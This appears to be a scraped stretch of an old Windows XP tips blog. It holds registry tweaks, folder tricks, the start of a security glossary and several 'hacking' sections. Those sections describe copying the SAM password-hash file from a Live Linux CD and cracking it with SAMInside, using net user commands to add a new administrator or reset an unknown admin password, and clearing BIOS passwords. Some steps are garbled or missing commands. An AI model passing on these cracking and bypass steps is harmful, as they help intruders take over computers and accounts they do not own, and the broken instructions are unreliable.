/>.{208D2C60-3AEA-1069-A2D7-08002B30309D} (= My Network Places)<br />.{645FF040-5081-101B-9F08-00AA002F954E} (= Recycle Bin)<br />.{871C5380-42A0-1069-A2EA-08002B30309D} (= Internet Explorer)<br />.{21EC2020-3AEA-1069-A2DD-08002B30309D} (= Control Panel)<br />.{D20EA4E1-3957-11D2-A40B-0C5020524153} (= Administrative Tools)<br />.{00020D75-0000-0000-C000-000000000046} (= Inbox)<br />.{D20EA4E1-3957-11D2-A40B-0C5020524152} (= Fonts)<br />.{7007ACC7-3202-11D1-AAD2-00805FC1270E} (= Network Connections)<br />.{2227A280-3AEA-1069-A2DE-08002B30309D} (= Printers and Faxes)<br />.{7BE9D83C-A729-4D97-b5A7-1B7313C39E0A} (= Programs Folder)<br />.{E211B736-43FD-11D1-9EFB-0000F8757FCD} (= Scanners and Cameras)<br />.{D6277990-4C6A-11CF-8D87-00AA0060F5BF} (= Scheduled Tasks)<br />.{48E7CAAB-B918-4E58-A94D-505519C795DC} (= Start Menu Folder)<br />.{7BD29E00-76C1-11CF-9DD0-00A0C9034933} (= Temporary Internet Files)<br />.{BDEADF00-C265-11d0-BCED-00A0C90AB50F} (= Web Folders)<br />.{6DFD7C5C-2451-11D3-A299-00C04F8EF6AF} (= Folder Options)<br />.{00020801-0000-0000-C000-000000000046} (= Folder)<br />.{00021400-0000-0000-C000-000000000046} (= Another Folder)<br />Important: include the point and nothing before that!<br />Example: "rename ABC .{20D04FE0-3AEA-1069-A2D8-08002B30309D}"<br /><span style="color: rgb(51, 51, 51);">Now wen you will see that the icon of tht folder has changed(No name) to My computer Icon.Now Make a shortcut to that folder, change the target and icon and you have a nameless shortcut.</span></p><p style="text-align: justify;" class="MsoNormal"><span style="font-weight: bold;">some STRANGER things in XP<br /></span>1. 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Windows XP can automatically encrypt your data when it is stored on the hard disk.<br /><b>To encrypt your folder in Windows XP</b>, all you have to do is right click the folder that you want to encrypt and choose the properties, then advance option, but that was the standard method the steps bellow will involve tweaking the registry so that the moment you right click the folder you want to encrypt you can immediately see it as part of the menu .<br />1.Open Registry Editor: Click start | Click Run… | Type regedit | Press Enter<br /><div style="text-align: left;">2.Navigate to the following key (if it doesn’t exist, create it): HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced<br /></div>3.Look for a DWORD value called EncryptionContextMenu (if it doesn’t exist, create it).<br />4.Change its value data to 1.<br />5.Click OK and close the Registry Editor.<br />NOTE :<br />1.This hack is not applicable to Microsoft Windows XP Home Edition<br />2.Windows registry is a crucial part of your system and messing around with it is dangerous.<br /><span style="color: rgb(51, 51, 51);">Follow instructions carefully. <o:p></o:p></span><br /><span style="font-weight: bold;">Cracking Windows Logon Password</span><br />Cracking Windows Logon Password.(Hacking SAM file) Windows NT/2000/XP/2003<br />SAM File - Holds the user names and password hashes for every account on the local machine, or domain if it is a domain controller.<br />-What are password Hashes?<br />Actually when we enter password in Windows Logon Tab, Windows encrypts our password using an encryption scheme that turns our password into something that looks like this:<br />65464564s1d4d2c9a56s42166d55se<br />SAM file can be found under C:(default OS drive) -> WINNT -> System32 -> Config -> SAM.<br />SAM file can be cracked by sing a simple freeware software "SAMInside".<br />Troubleshooting : While copying SAM file it shows an error of "Access Denied" or "File in Use". Actually copying of SAM file is restricted by Windows.<br />There are many alternatives to copy SAM file.<br /><span style="color: rgb(51, 51, 51);">[1] You can boot your system by a Live Linux CD such as Knnopix or Fedora. Linux has access to all Windows Files. This way SAM file can be easily copied.</span><br /><b>How to login as Administrator in Windows XP?</b><br />The built-in Administrator account is hidden from Welcome Screen when a user account with Administrator privileges exists and enabled. In Windows XP Home Edition, you can login as built-in Administrator in Safe Mode only. For XP Professional, press CTRL + ALT + DEL twice at the Welcome Screen and input your Administrator password in the classic logon window that appears. To have the Administrator account display in the Welcome Screen, try any of these two methods:<br /><b>Method 1:</b><br />Using TweakUI Power Toy for Windows XP<br />Open TweakUI and click "Logon" option in the left pane. Put a checkmark against the option "Show Administrator on Welcome Screen". Click OK to close TweakUI. Logoff and see if Welcome Screen lists Administrator login. Changes are immediate and you can use the Winkey + L to switch back to Welcome Screen to see Administrator account is listed. Use this procedure to hide/unhide any user account from the Welcome Screen. Please remember, you can still login to a hidden account using CTRL+ALT+DEL classic logon method, but cannot Fast User Switch to a hidden user account.<br /><b>Method 2</b> - Manual registry edit<br />*Click Start, Run and type Regedit.exe<br />*Navigate to the following key:<br />HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion \ Winlogon \ SpecialAccounts \ UserList<br />1.Use the File, Export option to backup the key.<br />2.Right-click in the right pane and select New DWORD Value.<br />3.Type-in Administrator as the value.<br />4.Double-click Administrator, and assign a value of 1<br />5.Close Regedit<br />You may use this procedure to hide/show users in the Welcome Screen for any user account. Type the account name accordingly in step 5.<br />For Windows XP Home Edition: While you can configure Windows XP Home Edition to show Administrator account in the Welcome Screen, you cannot login as Administrator in Normal mode. Boot into Safe Mode to login as Administrator.<br /><b>How to take ownership of a file or folder in XP</b><br />When you access a file or a folder in your system, you may receive an error "Access Denied", which indicates that you don't have permissions to access that folder or the file. Typical scenario where the error is seen is after you reinstall Windows XP and try to access your old profile. If you are an Administrator (or Administrator-level User account) and want to access the contents of the folder, you can take Ownership of that folder or the file. Prerequisites for taking ownership of a file or a folder<br />1. You must be logged on to the computer with an account that has administrative privileges.<br />2.If you are running Microsoft Windows XP Home Edition, you must start the computer in safe mode, and then log on with an account that has Administrative rights to have access to the Security tab. To start Windows XP in Safe Mode, see article Start Windows XP in Safe Mode<br />3.For Microsoft Windows XP Professional, you need to disable Simple File Sharing, in order to see the Security tab. To disable simple file sharing, follow these steps: Click Start, and then click My Computer. On the Tools menu, click Folder Options, and then click the View tab. In the Advanced Settings section, clear the Use simple file sharing (Recommended) check box. Click OK.<br />To take ownership of a folder, follow these steps:<br />1.Right-click the folder that you want to take ownership of, and then click Properties.<br />2.Click the Security tab, and then click OK on the Security message (if one appears).<br />3.Click Advanced, and then click the Owner tab.<br />4.In the Name list, click your user name, or click Administrator if you are logged in as Administrator, or click the Administrators group. If you want to take ownership of the contents of that folder, select the Replace owner on subcontainers and objects check box.<br />5.Click OK, and then click Yes when you receive the following message:<br />You do not have permission to read the contents of directory folder name. Do you want to replace the directory permissions with permissions granting you Full Control?<br />All permissions will be replaced if you press Yes.<br />where folder name is the name of the folder that you want to take ownership of.<br />6.Click OK, and then reapply the permissions and security settings that you want for the folder and its contents.<br />To take ownership of a file, follow these steps<br />1.Right-click the file that you want to take ownership of, and then click Properties.<br />2.Click the Security tab, and then click OK on the Security message (if one appears).<br />3.Click Advanced, and then click the Owner tab.<br />4.In the Name list, click Administrator, or click the Administrators group, and then click OK.<br /><span style="color: rgb(51, 51, 51);">The administrator or the Administrators group now owns the file.</span><br /><b><span style="color: rgb(51, 51, 51);">Hacking Password</span></b><br /><!--[if !supportLists]--><span style="">1.<span style=""> </span></span><!--[endif]-->Open command prompt (Start->Run->cmd),<br />2. Enter the following command, then press ENTER<br />3. Enter the followin command, then press ENTER:<br />compmgmt.msc<br />This should open the computer management console.<br />4. Go to local users & groups->users. Right click on any user and select "set password".<br />If you get a "access denied" do the following:<br />start>run>cmd<br />then use following commands<br />1) net user test /add (this command will make test named user)<br />2) net localgroup administrators test /add (this command will make test user as administrators rights)<br />and use net user command to reset your admin. Password<br /><b>Alternative</b><br />What if u don't know the password of your admin and still want to hack and change .. yea u can do it ..in a very easy manner.. check this. just follow the steps.. this doesn't require u to know the admin password but still u can change it..<br />Start >> Run >> [type]cmd // this will open your command prompt<br />[type] net(space)user(press enter)<br />[type] net(space)user(space)[windowsloginid](sp ace)*(press enter)<br />// for e.g. : net user HOME *(press enter)<br />[type] new password (press enter) and retype it (press enter).. it will show u confirmation... // caution it wont show u the password u type.. but it still types.. the blinking pointer will b there at the same place.. but it still works..<br /><span style="">// for e.g. : password changed successfully.<o:p></o:p></span></div><div> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> </div><div style="text-align: justify;"> <span style="font-weight: bold;">BIOS Passwords Hacks.<br /></span>To perform this hack you will need:<br />A #1 or #2 Phillips-head screwdriver, or (less likely) a T-15 TORX driver or a 1/4" hex nutdriver, to open the case<br />Needle-nosed pliers if you are working with jumpers<br />A small flashlight or headlamp<br />With tools at hand, perform the following steps:<br />1.Turn the PC off (this means a total shutdown, not merely standby or hibernate mode) and disconnect the AC power cord.<br />2.Remove the cover from your system (this step may require tools, undoing a thumbscrew, or flipping a latch or two).<br />3.Refer to the user manual for the motherboard to find out how to "reset CMOS" memory. You may also find a label for specific jumper or switch settings marked on the system board.<br />4.Change the switch setting or jumper position to a specific position or remove the jumper entirely as prescribed in the manual to clear or reset the CMOS memory.<br />5.Wait 20-30 seconds for the memory to clear out from lack of power.<br />6.After 20-30 seconds put the switch or jumper the way it was before for normal use.<br />7.Reconnect the power cord and start up the system to see if the settings have changed to defaults.<br />8.Shut the PC down, disconnect the power cord, replace the cover, reconnect the power, and power up the PC.<br />9.Enter the BIOS setup program to configure the system as needed. This may include setting the date and time, selecting disk drive parameters, and selecting which devices the system uses to boot up with first.<br />If your system does not have a "reset CMOS" jumper or switch , the only option is to locate and remove the coin-style battery cell (or on some very old PCs, the battery pack), as shown in , that provides the power to the CMOS memory.<br /><div style="text-align: justify;"> <span style="font-weight: bold;">Make Invisible Folders!!<br /></span>KEEP FOLDERS HIDDEN (Without any External Application)<br />Just go through the steps below..then u can make a hidden folder to keep all your data SAFE!<br /></div><span style="color: rgb(51, 51, 51);">1. First create a new folder somewhere on your hard drive<br />when you name it hold down "Alt" and press "0160" this will create and invisible space so it will apper as if it has no name.<br />2. Then right click in and select "Properties" select the tab "coustimize" and select "change icon" scroll along and you should a few blanc spaces click on any one and click OK<br />when you hav saved the settings the folder will be invisible to hide all your personal files. You just have to remember the folders location in your hard drive..</span><b><span style="color: rgb(51, 51, 51);"><br /></span></b></div>Naveenhttp://www.blogger.com/profile/15694159556222410246noreply@blogger.com0tag:blogger.com,1999:blog-6039373802489229043.post-25357591362512997002007-10-31T16:02:00.000+05:302008-01-05T17:27:05.274+05:30Windows tweaks 3<span style="font-weight: bold;">101. Stop Win2K/XP From Fixing Broken Shortcuts </span><br />HKEY_Current_User\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\ NoResolveTrack This DWORD set to 1 will stop Windows 2000 and XP from trying to automatically fix shortcuts. 0 will enable it.<br /><span style="font-weight: bold;">102. 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Disable New Features of the Windows XP and Windows 2000 Shell</span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\ClassicShell This DWORD value set to 1 will disable many of the newer features of the Windows Shell<br /><span style="font-weight: bold;">105. Change Taskbar Background Flashing Settings </span><br />HKEY_CURRENT_USER\Control Panel\Desktop\ForegroundFlashCount<br />This REG_DWORD value sets the number of times that a background application flashes letting you know that it wants to take control<br /><span style="font-weight: bold;">106. Disable Office 2000 Clipboard </span><br />HKey_CURRENT_USER\Software\Microsoft\Office\9.0\Common\General\AcbControl<br />Setting this DWORD value to 1 (Decimal) will stop the Office 2000 clipboard from popping up.<br /><span style="font-weight: bold;">107. Remove Help Option From Start Menu </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\ NoSMHelp (Windows 2000)<br />This REG_DWORD set to 1 will remove the Start Menu Help menu. You must log off and back on for this change to take effect. Setting this to 0 will show the Help menu.<br /><span style="font-weight: bold;">108. Modify the Number of Recent Documents Stored in the Documents Menu </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\ Explorer\MaxRecentDocs<br />Set this DWORD value to the number of documents that you would like on the Documents menu of the Start Menu. The Windows default is 15. The number you choose must be in multiples of 15.<br /><span style="font-weight: bold;">109. Resize Windows Minimize and Maximize Buttons </span><br />HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics\CaptionWidth<br />HKEY_CURRENT_USER\Control Panel\Desktop\WindowMetrics\CaptionHeight<br />Change these 2 registry values to change the size of the Minimize and Maximize buttons.<br /><span style="font-weight: bold;">110. Hide the Documents Menu on the Start Menu </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer\NoRecentDocsMenu<br />Set this DWORD value to 1 to hide the Documents menu. Shortcuts will still be added to the Documents, but since you don’t see the menu, you don’t see the shortcuts.<br /><span style="font-weight: bold;">111. Disable Documents Menu on the Start Menu </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer\NoRecentDocsHistory<br />Set this DWORD value to 1 to stop Windows from even keeping track of document history<br /><span style="font-weight: bold;">112. Change Your Default Html Editor </span><br />HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Default HTML\Editor\Description<br />HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Default HTML\Editor\shell\edit\command<br />In the first registry key, change the description to the name of your HTML Editor.<br />In the second key, change the default REG_SZ data to the fully qualified pathname for your editor.<br /><span style="font-weight: bold;">113. Track WindowsUpdate Processes </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\SteppingMode<br />Set this string value to Y in order to track the process. Change it to N to ignore the process.<br /><span style="font-weight: bold;">114. Set The Default Domain In Windows NT </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DefaultDomainName<br />This string value should be set to the value to the preferred domain.<br /><span style="font-weight: bold;">115. Set The Alternate Default Domain In Windows NT </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\AltDefaultDomainName<br />This string value should be set to the value to the alternative preferred domain.<br /><span style="font-weight: bold;">116. Do Not Display The Username Of The Last User </span><br />HKEY_LOCAL_MACHINE\Network\Logon\DontShowLastUser<br />(Windows 95/98/ME)<br />HKEY_LOCAL_MACHINE \Software\Microsoft\Windows\<br />CurrentVersion\WinLogon\DontDisplayLastUserName<br />(Windows 2000/XP)<br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\<br />CurrentVersion\WinLogon\DontDisplayLastUserName<br />(Windows NT)<br />This value should be set to 1 to stop the last user name from appearing in the Logon window<br /><span style="font-weight: bold;">117. Disable Dragging To The Start Menu </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoChangeStartMenu this REG_DWORD should be set to 1<br /><span style="font-weight: bold;">118. Clear Windows Media Player Most Recently Used (MRU) List </span><br />HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Player\RecentFileList<br />Delete this key to clear the Windows Media Player most recently played file list.<br /><span style="font-weight: bold;">119. Enable services through the registry </span><br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services<br />To enable (or change the startup options for) services on the local computer, locate the<br />Service, and set Start value to:<br />0 -boot<br />1 -system<br />2 -automatic<br />3 -manual<br /><span style="font-weight: bold;">120. Disable Automatic Update Checking in Windows Media Player </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Policies\WindowsMediaPlayer\DisableAutoUpdate (WMP 7)<br />This REG_DWORD value should be set to 1. A value of 0 enables automatic updates.<br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MediaPlayer\EnableAutoUpgrade (WMP 6.4)<br />This REG_SZ value should be set to No. A value of Yes enables automatic updates.<br /><span style="font-weight: bold;">121. Internet Explorer DNS Cache Timeout </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\DnsCacheTimeout<br />Since Internet Explorer 4.0, the DNS cache has been resetting itself every thirty minutes. Change this DWORD to the number of seconds between Cache purges.<br /><span style="font-weight: bold;">122. Adding the My Computer Security Zone </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Flags<br />By default, there are four zones in IE that you may customize: Internet, Local intranet, Trusted Sites, and Restricted Sites. Change the value above from 33 to 1. You’ll now have a new My Computer zone.<br /><span style="font-weight: bold;">123. Increase Icon Cache Size </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ Max Cached Icons<br />Have you ever seen your icons change from the proper icon to one for another program? This happens because the icon cache is full. You can change the number of icons that are cached in this registry key. This REG_SZ value represents the number of icons that will be cached. The default is 500. If you find that your icons are changing often, increase this number to a maximum of 2000.<br /><span style="font-weight: bold;">124. Disable IE’s Clicking Sound When You Click On A Link </span><br />HKEY_CURRENT_USER\AppEvents\Schemes\Apps\Explorer\Navigating\.current<br />Delete this key to stop IE from playing the clicking sound every time you click on a link.<br /><span style="font-weight: bold;">125. Change Default Wallpaper Folder </span><br />HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\WallPaperDir<br />Set this to the location where your desktop wallpaper will be found on this computer.<br /><span style="font-weight: bold;">126. Hide Windows 2000/XP Places Bar </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\co<br />mdlg32\NoPlacesBar<br />This DWORD value should be set to 1 to hide the places bar in the Open/Save dialog box.<br /><span style="font-weight: bold;">127. Edit Windows 2000/XP Default Places Bar </span><br />This comes from a Windows FAQ newsletter:<br />You can modify the five default quick links in the Open and Save common dialog boxes by performing the following steps:<br />1. Start a registry editor (e.g., regedit.exe).<br />2. Navigate to the<br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\comdlg32 subkey. (If this subkey doesn't exist, select New, Key from the Edit menu to create it.)<br />3. From the Edit menu, select New, Key.<br />4. Enter a name of Placesbar and press Enter.<br />5. Navigate to the new registry subkey. You can create five entries (i.e., Place0, Place1, Place2, Place3, and Place4). Make each entry either a string value (REG_SZ) entry (for a named folder) or a DWORD value (REG_DWORD) entry (for a special folder, such as My Documents or My Network Places).<br />6. To create a new entry, go to the Edit menu, select New, DWORD value or New, String Value (as appropriate), enter a name of Placen (e.g., Place0, Place4), and press Enter.<br />7. Double-click the entry and set its REG_SZ "Value data" to a path and folder name or its REG_DWORD "Value data" to a numeric ID (the table below shows a partial list of these numeric IDs--the shlobj.h file, which is part of the platform software development kit (SDK), defines the full list of special numeric IDs).<br />8. Close the registry editor.<br />This change will not affect applications within the Microsoft Office suite but will affect applications, such as Notepad and Microsoft Paint, that use the Open and Save common dialog boxes. Each new entry you add will replace one of the default quick links.<br />ID Pathway<br />0 Desktop<br />1 Internet Explorer<br />2 Start Menu\Programs<br />3 My Computer\Control Panel<br />4 My Computer\Printers<br />5 My Documents<br />6 \Favorites<br />7 Start Menu\Programs\Startup<br />8 \Recent<br />9 \SendTo<br />a \Recycle Bin<br />b \Start Menu<br />c Logical "My Documents" desktop icon<br />d "My Music" folder<br />e "My Videos" folder<br />10 \Desktop<br />11 My Computer<br />12 Network Neighborhood (My Network Places)<br />13 \Nethood<br />14 Windows\Fonts<br />16 All Users\Start Menu<br />17 All Users\Start Menu\Programs<br />18 All Users\Startup<br />19 All Users\Desktop<br />1a \Application Data<br />1b \PrintHood<br />1c \Local Settings\Application Data<br />(nonroaming) 0x001d // nonlocalized startup<br />1e Nonlocalized common startup<br />1f Common favorites<br />20 Internet cache<br />21 Cookies<br />22 History<br />23 All Users\Application Data<br />24 GetWindowsDirectory()<br />25 GetSystemDirectory()<br />26 C:\Program Files<br />27 C:\Program Files\My Pictures<br />28 USERPROFILE<br />29 x86 system directory on RISC<br />2a x86 C:\Program Files on RISC<br />2b C:\Program Files\Common<br />2c x86 Program Files\Common on RISC<br />2d All Users\Templates<br />2e All Users\Documents<br />2f All Users\Start Menu\Programs\Administrative Tools<br />30 \Start Menu\Programs\Administrative Tools<br />31 Network and Dial-up Connections<br />35 All Users\My Music<br />36 All Users\My Pictures<br />37 All Users\My Video<br />38 Resource Directory<br />39 Localized Resource Directory<br />3a All Users OEM-specific applications<br />3b USERPROFILE\Local Settings\Application Data\Microsoft\CD Burning<br />128. Reinstalling Internet Explorer 6.0<br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{89820200-ECBD-11cf-8B85-00AA005B4383}\IsInstalled.<br />This DWORD should be set to 0 to trick Windows into thinking that IE 6 isn’t installed<br /><span style="font-weight: bold;">129. Reinstall Outlook Express 6.0</span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Active Setup\Installed Components\{44BBA840-CC51-11CF-AAFA-00AA00B6015C}\IsInstalled.<br />This DWORD should be set to 0 to trick Windows into thinking that OE 6 isn’t installed<br /><span style="font-weight: bold;">130. Show Which Domain a PC Is Logging In To </span><br />HKEY_LOCAL_MACHINE\Network\Logon\DomainLogonMessage<br />This DWORD value should be set to 1 to show which domain a computer is logging in to. Setting the value to 0 will disable the message.<br /><span style="font-weight: bold;">131. Find BIOS Information in the Registry </span><br />HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate<br />HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion<br />HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosDate<br />HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion<br />Some information about your BIOS may be in the keys above. Do not change these values. They are for reference only.<br /><span style="font-weight: bold;">132. Disable Internet Explorer Advanced Tab </span><br />HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Control Panel\AdvancedTab<br />Setting this to 1 will stop this tab from appearing. Change it to 0 or delete it to have the tab reappear.<br /><span style="font-weight: bold;">133. Display the local Administrator account on the Windows XP Welcome screen? </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList\Administrator<br />This DWORD value should be set to 1 to show the account. Set it to 0 to hide the account<br /><span style="font-weight: bold;">134. Tweak the registry to disable the Shut Down button </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\ShutdownWithoutLogon<br />This value should be set to 0 to force users to logon before they shut down the computer.<br /><span style="font-weight: bold;">135. Disable Low Disk Warnings in Windows XP </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\NoLowDiskSpaceChecks Settings this to 1 will stop the OS from checking for disk space, which will also turn of the Low Disk Space balloons.<br /><span style="font-weight: bold;">136. Disable 8.3 characters names on NTFS partitions </span><br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem\NtfsDisable8dot3NameCreation Set this DWORD value to 1 to stop NTFS systems from creating 8.3 character filenames.<br /><span style="font-weight: bold;">137. Disable multi-user editing in Microsoft Word 2002 </span><br />HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Word\Options\NoPromptToForkDocuments Set this DWORD value to 1 to disable multi-user editing<br /><span style="font-weight: bold;">138. Disable the search assistant in Microsoft Internet Explorer (IE) 6.0 </span><br />HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Use Search Asst<br />Settings this to NO will disable the search assistant<br /><span style="font-weight: bold;">139. Disable the Windows Explorer search assistant in Windows XP </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\CabinetState\Use Search Asst<br />Setting this String value to NO will disable the search assistant<br /><span style="font-weight: bold;">140. Edit registry to read all e-mail as plain text </span><br />HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\ReadAsPlain Set this DWORD value to 1 will force Outlook XP SP1 to read all email as Plain Text.<br /><span style="font-weight: bold;">141. Overwrite Deleted Information in Microsoft Outlook 2000/2002 </span><br />HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\PST (subkey for Outlook 2002)<br />HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\PST (subkey for Outlook 2000)<br />Set the DWORD value PSTNullFreeOnClose to 1 to instruct Outlook to remove the deleted data every time you close the application, then click OK<br /><span style="font-weight: bold;">142. Stop unwanted user access by turning off cached logins </span><br />HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\CachedLogonsCount<br />Set this to 0 to disable cached logins. This means that you must authenticate with a domain controller.<br /><span style="font-weight: bold;">143. Change location of Print Spooler </span><br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\Printers\DefaultSpoolDirectory (Windows NT/2000/XP)<br />Change this to any location you want<br /><span style="font-weight: bold;">144. Increase the priority of the print spooler </span><br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Print\SpoolerPriority<br />Set this DWORD value to 1<br /><span style="font-weight: bold;">145. Right-click to encrypt </span><br />HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\<br />Explorer\Advanced\EncryptionContextMenu<br />Setting this DWORD value to 1 will allow you to encrypt a file when you right-click on it.<br /><span style="font-weight: bold;">146. Shut Down Your Computer When Event Log is Full </span><br />HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\<br />Control\Lsa\CrashOnAuditFail<br />Setting the value to 1 will cause the computer to crash when the log is full. Setting it to 0 will disable this feature.<br /><span style="font-weight: bold;">147. Force NT Kernel to stay resident in Memory </span><br />HKEY_Local_Machine\SYSTEM\CurrentControlSet\Control\Session Manager\<br />Memory Management\DisablePagingExecutive<br />Setting this value to 1 will cause the NT Kernel to stay resident in memory. This might speed up the performance of your operating system.<br /><span style="font-weight: bold;">148. Disable EFS in Windows XP</span><br />HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\<br />EFS\EfsConfiguration<br />Set this DWORD value to 1 to disable EFS.<br /><span style="font-weight: bold;">149. Reset Unread Email Counter on the Windows XP Welcome Screen </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\UnreadMail\ Message Count<br />Set this value to 0 will reset the unread-email counter on the Windows XP Welcome screen.<br /><span style="font-weight: bold;">150. Remove Unread Email Counter from the Windows XP Welcome Screen </span><br />HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\UnreadMail\ MessageExpiryDays<br />Setting this DWORD value to 0 will stop the XP Welcome screen from showing the number of unread messages.Naveenhttp://www.blogger.com/profile/15694159556222410246noreply@blogger.com1tag:blogger.com,1999:blog-6039373802489229043.post-80330494355214319192007-10-30T19:42:00.000+05:302007-12-09T00:23:28.860+05:30Security Terminology...<div style="text-align: justify;"><span style="font-weight: bold;">Anti-virus:</span> Software that scans your pc for viruses, worms, and Trojans using up-to-date virus signatures. Once found, the program can remove, or quarantine the virus and (ideally) keep it from performing whatever malicious duties is was sent to do.<br /><span style="font-weight: bold;">Attack: </span>An attempt by an unauthorized individual or program to gain control over aspects of your pc for various purposes.<br /><span style="font-weight: bold;">Backdoor:</span> This is sometimes referred to as a trapdoor, and is a feature in programs that the original programmer puts into the code in order to fix bugs or make other changes that need to be made. However, if this information becomes known to anyone else it poses a potential security risk.<br /><span style="font-weight: bold;">Firewall:</span> A firewall refers to either a software or hardware device that basically protects your internal network from any outside threat or any unauthorized Internet access from the inside.<br /><span style="font-weight: bold;">Hijacking:</span> An attack whereby an active, established, session is intercepted and used by the attacker. Hijacking can occur locally if, for example, a legitimate user leaves a computer unprotected. Remote hijacking can occur via the Internet.<br /><span style="font-weight: bold;">Hole:</span> A known flaw in code that can compromise the security of your system by allowing unauthorized access.<br /><span style="font-weight: bold;">HTTPS (Hypertext Transfer Protocol Secure): </span>This is a version of http that is far more secure and is used (or should be used) in areas of the web where sensitive information is being used or exchanged.<br /><span style="font-weight: bold;">Key:</span> These are the names of Windows Registry components that are responsible for keeping the settings in Windows. Every time a program gets added to or uninstalled from a pc the Registry gets changed. If a virus gets into your system and makes changes to your registry keys it can cause serious performance changes.<br /><span style="font-weight: bold;">Key loggers:</span> These are used in legitimate programs but have been a favorite of hackers for years. Basically, what a key logger does is log your keystrokes for however long it is configured for. Hackers use these types of programs to find important information like usernames and passwords for sensitive accounts or highly secure areas.<br /><span style="font-weight: bold;">@mm:</span> This is usually seen at the end of a virus name i.e. W32netsky@mm and signifies that this virus is a mass mailer. A mass mailer is the term for a virus that upon infection can mail itself out to email addresses that it harvests from various areas of your hard drive—especially your address book. Sometimes you will see the designation with only one "m" at<br />the end of the virus name this stands for mailer and this kind of virus can only ride along with email messages you send.<br />Here are some more security terms that you should become familiar with.<br /><span style="font-weight: bold;">Macro virus: </span>Code written to take advantage of Hotkey" abilities to deliver its payload or replicate. Macros are hotkeys—key combinations that you can record and link to a single or fewer keystrokes.<br /><span style="font-weight: bold;">Payload:</span> This is the portion of the virus that is released into your system; it isn t always destructive but is always unwanted.<br /><span style="font-weight: bold;">Port: </span>The protocol stacks TCP/IP which is the protocol of the Internet (for the most part). There are several small parts to an Internet address, or IP address. While the IP address is your logical location on the web, the port number is an identifier for the service you would like to use on the system you re connecting to.<br />*A port has always been a tough concept to grab but is a very important component in fighting off hackers, Firewalls are so important because they deny any accesses to or from ports that you haven t granted access to. A firewall is an absolute necessity for broadband users.<br /><span style="font-weight: bold;">Protocol:</span> A set of rules and standards to govern the exchange of data between computers and related devices. There are protocols in almost every aspect of computers from web design to programming to network administration.<br /><span style="font-weight: bold;">Replication: </span>After a virus successfully infects a PC it usually starts to copy itself. Then it tries to infect either different parts of your system, or other systems, usually through address books or shared network files. This is usually one of the chief missions of a virus and by means of replication viruses can grow and infect new systems at an exponential rate.<br /><span style="font-weight: bold;">Security response: </span>The process of research, creation, delivery, and notification of responses to viral and malicious code threats, as well as operating system, application, and network infrastructure vulnerabilities.<br /><span style="font-weight: bold;">SMTP:</span> Simple Mail Transport Protocol. This is an email protocol that is responsible for moving mail from mail server to mail server.<br /><span style="font-weight: bold;">Variant:</span> A modification 